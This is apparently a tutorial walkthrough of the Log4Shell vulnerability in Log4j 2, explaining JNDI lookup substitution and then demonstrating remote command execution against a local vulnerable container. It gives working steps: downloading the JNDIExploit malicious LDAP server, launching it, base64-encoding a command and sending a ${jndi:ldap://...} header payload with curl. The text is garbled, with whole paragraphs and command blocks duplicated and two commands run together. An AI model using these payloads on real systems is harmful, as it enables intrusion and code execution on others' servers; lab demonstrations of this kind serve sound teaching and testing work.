Log4Shell
The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
To execute commands with Log4Shell, I’ll be spinning up an LDAP server with the capabilities to exploit JNDI injection attacks written by feihong-cs. Run the following to download the malicious LDAP server:
cd /tmp
wget --quiet github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zipunzip JNDIExploit.v1.2.zip
With the ZIP archive decompressed, we can retrieve the programs help menu with the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
To start the malicious LDAP server on localhost:1389 (there will also be an HTTP server spun up on port 9001. Looking at the source code tells me that this is where the actual malicious Java class is being loaded from), run the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001
And finally, to obtain our reverse shell, let’s base64 encode a echo command to write some data into a file in the /tmp folder (make sure to get rid of the + sign by adding extra spaces as needed):
echo -n 'echo "you have been pwned" > /tmp/note.txt' | base64 -w 0
And then make the following request to the vulnerable application:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAieW91IGhhdmUgYmVlbiBwd25lZCIgPiAvdG1wL25vdGUudHh0}'
We can then confirm that the command was executed by going into the container with docker exec -it log4shell-app sh and then confirm that the file note.txt was created in the /tmp folder:
cd /tmp
wget --quiet github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zipunzip JNDIExploit.v1.2.zip
With the ZIP archive decompressed, we can retrieve the programs help menu with the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
To start the malicious LDAP server on localhost:1389 (there will also be an HTTP server spun up on port 9001. Looking at the source code tells me that this is where the actual malicious Java class is being loaded from), run the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001
And finally, to obtain our reverse shell, let’s base64 encode a echo command to write some data into a file in the /tmp folder (make sure to get rid of the + sign by adding extra spaces as needed):
echo -n 'echo "you have been pwned" > /tmp/note.txt' | base64 -w 0
And then make the following request to the vulnerable application:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAieW91IGhhdmUgYmVlbiBwd25lZCIgPiAvdG1wL25vdGUudHh0}'
We can then confirm that the command was executed by going into the container with docker exec -it log4shell-app sh and then confirm that the file note.txt was created in the /tmp folder:
